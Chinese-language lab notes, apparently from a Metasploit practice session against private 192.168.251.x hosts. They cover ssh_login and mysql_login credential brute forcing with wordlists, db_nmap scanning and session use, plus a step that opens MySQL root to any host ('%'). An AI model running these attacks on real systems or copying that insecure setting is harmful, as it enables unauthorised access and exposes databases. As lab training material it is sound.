search ssh_login 搜索模块

use 0(这里0表示前面的编号)


show options

yes表示必要设置的参数
no表示可以设置也可以不用设置的参数
set RHOSTS 192.168.251.139

cd /opt ls mkdir dict ls cd /dict vim username.txt vim password.txt



set uSER_fILE /opt/dict/username.txt set pass_fILE /opt/dict/password.txt 这里不区分大小写

我这里仅仅只使用了username.txt,修改一下
run

sessions

sessions -i 1(1表示前面的id)

pwd whoami exit

表示进入靶机成功
db_nmap -sP 192.168.251.0/24 将查询到的结果存入到数据库中

hosts 地址查询

db_nmap -sS 192.168.251.139(IP地址) 查询地址开放的端口号并将其写入到数据库中

db_nmap -Pn -sV 192.168.251.139

但是这里出现了报错,经过一系列排查后发现是数据库的原因,是由于数据库没有打开,按照上面开启数据库的办法将数据库打开就ok了
重新运行

出现这个表明运行成功
services

search mysql_login

use 0

show options

set password 123456789

set rhosts 192.168.251.1

run

这里没有运行成功
排查问题后发现是数据库不能远程连接,为什么连接不上呢?
原因:
(1) MySQL建用户的时候会指定一个host,默认是127.0.0.1/localhost只能本机访问;
(2) 其它机器用这个用户帐号访问会提示没有权限
mysql -u root -p Enter password:输入你的密码

use mysql

select host,user from user;
修改host原因: %为任意用户都有权限连接,localhost为只能本机连接,配置完host为%这一步就已经能外网访问了
update user set host='%' where user='root';

select host,user from user;

修改成功
run

creds

这里查询到了我们刚刚对数据库的操作